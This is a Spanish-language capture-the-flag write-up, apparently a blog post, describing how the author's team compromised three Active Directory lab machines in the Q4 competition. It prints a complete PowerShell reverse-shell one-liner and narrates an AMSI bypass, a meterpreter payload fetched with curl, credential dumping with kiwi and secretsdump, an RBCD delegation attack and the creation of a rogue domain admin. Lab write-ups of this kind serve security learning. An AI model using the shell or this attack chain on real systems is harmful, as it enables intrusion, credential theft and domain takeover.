Q4{Hyped 1, Hyped 2 y Hyped 3}

El día sábado 22 de Julio se llevó a cabo la Q4 un gran CTF que hicieron con mucho cariño y que afortunadamente tuvimos el privilegio de sacar el primer lugar.

En este post, se desarrollará la resolución de los retos de Active Directory.

El primer reto fue Hyped 1.

Este reto simulaba una consultoría de servicios TI, donde en su sitio web principal existía la posibilidad de ejecutar código específicamente en el menú “Estado” en el botón “Check Status Server”.

Para obtener la primera conexión remota hacia el servidor, fue utilizado un One Liner Powershell reverse shell de la siguiente manera.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP VPN',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Utilizando la herramienta BurpSuite y teniendo a la escucha un netcat en el puerto 4444 se consigue la conexión reversa.

conexión reversa puerto 4444.

una vez conseguida la conexión reversa, se enumeró rápidamente la maquina conseguida donde se identificó el dominio hyped.cl

Además, se descubrieron las direcciones IP internas de la máquina, se revisó el CLM y se ejecutó una evasión de AMSI, ya que no se tenía conocimiento de los bloqueos internos.

Con msfvenom se creó un binario que permitiera generar una conexión reversa con meterpreter, para poder escalar rápidamente la máquina y poder volcar las credenciales internas.

Se generó un http.server con Python que permitió subir el archivo hacia el servidor.

Este binario se subió al servidor con curl y se ejecutó como ./notepad.exe.

Se consiguió la conexión reversa en el puerto 443 en un multi/handler de metasploit.

Para escalar privilegios era necesario usar la vulnerabilidad de PrintSpooler, pero meterpreter lo trae incorporado en sus módulos internos por lo que solo bastó ejecutar el comando getsystem para obtener privilegios de sistema, también, se cargó el módulo de kiwi para el volcado de credenciales.

volcado de hashes locales.

hasta aquí se consigue la primera flag, que se encuentra en el Desktop del usuario support.

para poder acceder a la segunda máquina, se generó un túnel con la sesión de meterpreter y se usó “run autoroute” y el auxiliar de socks_proxy.

Hyped 2.

Se obtuvo información del dominio hyped.cl por medio de la herramienta bloodhound la cual fue subida de la misma manera que lo explicado anteriormente con curl y luego los resultados que quedan en un archivo zip fueron descargados y analizados.

Se identificó que el equipo SRV01 (controlado) tenía permisos de Generic Write en el controlador de dominio DC01.

para realizar el ataque de Resource-Based Constrained Delegation se usó el siguiente repositorio.

https://github.com/tothi/rbcd-attack#modifying-delegation-rights

primero se obtiene el ticket de la máquina con la cual se pueden realizar consultas en contexto de dominio y la que se indicó que tiene GeneriteWrite.

Para lo anterior se usó proxychains para la conexión del túnel y el hash de la máquina SRV01 para generar el ticket.

se exporta el ticket y se revisa con el comando klist.

Luego se efectuó el ataque para que SRV01 pueda impersonar a DC01.

Con lo anterior, se procedió con la delegación restringida mediante una consulta S4U2Self y así obtener un ticket de servicio suplantado al usuario Administrator, el cual fue exportado a la variable de entorno KRB5CCNAME.

Una vez exportado el ticket, se volcaron los hashes del dominio hyped.cl donde se usó secretsdump de la suite de Impacket.

Con el hash de Administrator conseguido en el volcado, se ingresó al equipo DC01

Se recuperó la segunda flag de Hyped2.

Hyped 3.

hyped 3 fue relativamente sencillo de conseguir, ya que se controlaban las credenciales de administrador de dominio.

Se creó un usuario llamado cntr0llz con privilegios de administrador del dominio.

Este usuario fue usado para generar una conexión por escritorio remoto al servidor DC01 y luego vía escritorio remoto interno al equipo FILE01 (192.168.1.4)

Una vez dentro del servidor FILE01, se consiguió la flag de Hyped3 la cual se encontraba en un archivo llamado “New Text Document” en la carpeta Desktop del usuario Support.

Aquí se termina el write up de las máquinas Hyped, gracias por leer y aguante la Q4.

Happy Hacking 😀